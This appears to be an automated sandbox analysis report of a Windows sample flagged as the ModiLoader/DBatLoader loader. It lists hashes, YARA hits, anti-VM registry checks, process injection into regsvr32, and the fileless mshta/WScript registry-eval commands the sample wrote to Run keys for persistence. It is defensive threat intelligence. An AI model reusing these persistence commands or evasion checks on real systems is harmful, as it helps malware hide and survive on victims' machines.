Analysis
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max time kernel
150s -
max time network
156s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
22-05-2024 18:05
Static task
static1
Behavioral task
behavioral1
Sample
6822fe6411396358172e3b0675f18233_JaffaCakes118.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
6822fe6411396358172e3b0675f18233_JaffaCakes118.exe
Resource
win10v2004-20240426-en
General
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Target
6822fe6411396358172e3b0675f18233_JaffaCakes118.exe
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Size
477KB
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MD5
6822fe6411396358172e3b0675f18233
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SHA1
82af7f3f4cae07f2f2d3cb68307400995e023297
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SHA256
c685f77ec783db7f4a61617c9dd6fc9dccee8ad7465471e048169c5604070e9c
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SHA512
9fd00095579de7ddd4ab2c0f9be4a4be0e48f9a66f9fe65d03e090e84911de509b850269a44254d944a50fa1de1e86244b0a5b7c93a069979c0ee71598ae9227
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SSDEEP
12288:jtca1qBsng2hJ+0v4ajM/InREpCh/XySbkeSbk6k9:X1MsJA/InR8DSgeSg6k9
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
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Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe -
ModiLoader Second Stage 38 IoCs
Processes:
resource yara_rule behavioral2/memory/2544-4-0x0000000000400000-0x000000000047C000-memory.dmp modiloader_stage2 behavioral2/memory/2544-6-0x00000000025D0000-0x000000000269C000-memory.dmp modiloader_stage2 behavioral2/memory/2544-10-0x00000000025D0000-0x000000000269C000-memory.dmp modiloader_stage2 behavioral2/memory/2544-7-0x00000000025D0000-0x000000000269C000-memory.dmp modiloader_stage2 behavioral2/memory/2544-8-0x00000000025D0000-0x000000000269C000-memory.dmp modiloader_stage2 behavioral2/memory/2544-9-0x00000000025D0000-0x000000000269C000-memory.dmp modiloader_stage2 behavioral2/memory/2544-12-0x00000000025D0000-0x000000000269C000-memory.dmp modiloader_stage2 behavioral2/memory/2544-18-0x0000000000400000-0x000000000047C000-memory.dmp modiloader_stage2 behavioral2/memory/4240-22-0x0000000000500000-0x00000000005CC000-memory.dmp modiloader_stage2 behavioral2/memory/4240-25-0x0000000000500000-0x00000000005CC000-memory.dmp modiloader_stage2 behavioral2/memory/4240-24-0x0000000000500000-0x00000000005CC000-memory.dmp modiloader_stage2 behavioral2/memory/4240-23-0x0000000000500000-0x00000000005CC000-memory.dmp modiloader_stage2 behavioral2/memory/4240-26-0x0000000000500000-0x00000000005CC000-memory.dmp modiloader_stage2 behavioral2/memory/4240-27-0x0000000000500000-0x00000000005CC000-memory.dmp modiloader_stage2 behavioral2/memory/2108-38-0x0000000001060000-0x000000000112C000-memory.dmp modiloader_stage2 behavioral2/memory/2108-39-0x0000000001060000-0x000000000112C000-memory.dmp modiloader_stage2 behavioral2/memory/2108-42-0x0000000001060000-0x000000000112C000-memory.dmp modiloader_stage2 behavioral2/memory/2108-43-0x0000000001060000-0x000000000112C000-memory.dmp modiloader_stage2 behavioral2/memory/2108-41-0x0000000001060000-0x000000000112C000-memory.dmp modiloader_stage2 behavioral2/memory/2108-40-0x0000000001060000-0x000000000112C000-memory.dmp modiloader_stage2 behavioral2/memory/2108-47-0x0000000001060000-0x000000000112C000-memory.dmp modiloader_stage2 behavioral2/memory/2108-46-0x0000000001060000-0x000000000112C000-memory.dmp modiloader_stage2 behavioral2/memory/2108-51-0x0000000001060000-0x000000000112C000-memory.dmp modiloader_stage2 behavioral2/memory/2108-52-0x0000000001060000-0x000000000112C000-memory.dmp modiloader_stage2 behavioral2/memory/2108-50-0x0000000001060000-0x000000000112C000-memory.dmp modiloader_stage2 behavioral2/memory/2108-49-0x0000000001060000-0x000000000112C000-memory.dmp modiloader_stage2 behavioral2/memory/2108-45-0x0000000001060000-0x000000000112C000-memory.dmp modiloader_stage2 behavioral2/memory/2108-44-0x0000000001060000-0x000000000112C000-memory.dmp modiloader_stage2 behavioral2/memory/2108-48-0x0000000001060000-0x000000000112C000-memory.dmp modiloader_stage2 behavioral2/memory/3360-57-0x0000000000400000-0x00000000004CC000-memory.dmp modiloader_stage2 behavioral2/memory/3360-62-0x0000000000400000-0x00000000004CC000-memory.dmp modiloader_stage2 behavioral2/memory/3360-61-0x0000000000400000-0x00000000004CC000-memory.dmp modiloader_stage2 behavioral2/memory/3360-60-0x0000000000400000-0x00000000004CC000-memory.dmp modiloader_stage2 behavioral2/memory/3360-59-0x0000000000400000-0x00000000004CC000-memory.dmp modiloader_stage2 behavioral2/memory/3360-58-0x0000000000400000-0x00000000004CC000-memory.dmp modiloader_stage2 behavioral2/memory/2108-63-0x0000000001060000-0x000000000112C000-memory.dmp modiloader_stage2 behavioral2/memory/2108-64-0x0000000001060000-0x000000000112C000-memory.dmp modiloader_stage2 behavioral2/memory/4944-69-0x0000000000400000-0x00000000004CC000-memory.dmp modiloader_stage2 -
Adds policy Run key to start application 2 TTPs 2 IoCs
Processes:
regsvr32.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:N0pzKJn0X=\"KMMdPDBA\";Z54N=new%20ActiveXObject(\"WScript.Shell\");UX6AHh5u=\"Cm14rC\";G80nQE=Z54N.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\8b2977822e\\\\8f1c15ce\");GDZNbR6S=\"ubvXwgvOeP\";eval(G80nQE);zYv2as7uWL=\"nslXpXNOX\";" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run regsvr32.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools regsvr32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion regsvr32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion regsvr32.exe -
Deletes itself 1 IoCs
Processes:
regsvr32.exepid process 2108 regsvr32.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
regsvr32.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:JFJw3PFJS5=\"EG\";Q83u=new%20ActiveXObject(\"WScript.Shell\");R5jSKKoWm=\"TA\";m5sRf=Q83u.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\8b2977822e\\\\8f1c15ce\");U65YgDMFkw=\"JXLKxjF\";eval(m5sRf);ZniXutxb9=\"EUj1ql\";" regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:AFpVIO7Lr=\"zZ310Tx\";g53K=new%20ActiveXObject(\"WScript.Shell\");Nf1iETQ=\"1ytM8\";J95cUO=g53K.RegRead(\"HKCU\\\\software\\\\8b2977822e\\\\8f1c15ce\");n2jfgNe=\"4V0IxmzUl\";eval(J95cUO);rZJiT4jlx=\"6LdSui\";" regsvr32.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum regsvr32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 regsvr32.exe -
Processes:
regsvr32.exedescription ioc process Set value (int) \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION regsvr32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" regsvr32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\SOFTWARE\Microsoft\Internet Explorer\International regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION regsvr32.exe Set value (int) \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" regsvr32.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
regsvr32.exepid process 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe -
Suspicious behavior: MapViewOfSection 12 IoCs
Processes:
6822fe6411396358172e3b0675f18233_JaffaCakes118.exeregsvr32.exeregsvr32.exepid process 2544 6822fe6411396358172e3b0675f18233_JaffaCakes118.exe 2544 6822fe6411396358172e3b0675f18233_JaffaCakes118.exe 2544 6822fe6411396358172e3b0675f18233_JaffaCakes118.exe 4240 regsvr32.exe 4240 regsvr32.exe 4240 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe 2108 regsvr32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
6822fe6411396358172e3b0675f18233_JaffaCakes118.exedescription pid process Token: SeSecurityPrivilege 2544 6822fe6411396358172e3b0675f18233_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
6822fe6411396358172e3b0675f18233_JaffaCakes118.exeregsvr32.exeregsvr32.exedescription pid process target process PID 2544 wrote to memory of 4240 2544 6822fe6411396358172e3b0675f18233_JaffaCakes118.exe regsvr32.exe PID 2544 wrote to memory of 4240 2544 6822fe6411396358172e3b0675f18233_JaffaCakes118.exe regsvr32.exe PID 2544 wrote to memory of 4240 2544 6822fe6411396358172e3b0675f18233_JaffaCakes118.exe regsvr32.exe PID 4240 wrote to memory of 2108 4240 regsvr32.exe regsvr32.exe PID 4240 wrote to memory of 2108 4240 regsvr32.exe regsvr32.exe PID 4240 wrote to memory of 2108 4240 regsvr32.exe regsvr32.exe PID 2108 wrote to memory of 3360 2108 regsvr32.exe regsvr32.exe PID 2108 wrote to memory of 3360 2108 regsvr32.exe regsvr32.exe PID 2108 wrote to memory of 3360 2108 regsvr32.exe regsvr32.exe PID 2108 wrote to memory of 4944 2108 regsvr32.exe regsvr32.exe PID 2108 wrote to memory of 4944 2108 regsvr32.exe regsvr32.exe PID 2108 wrote to memory of 4944 2108 regsvr32.exe regsvr32.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\6822fe6411396358172e3b0675f18233_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\6822fe6411396358172e3b0675f18233_JaffaCakes118.exe"1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2544 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4240 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2108 -
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵PID:3360
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C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵PID:4944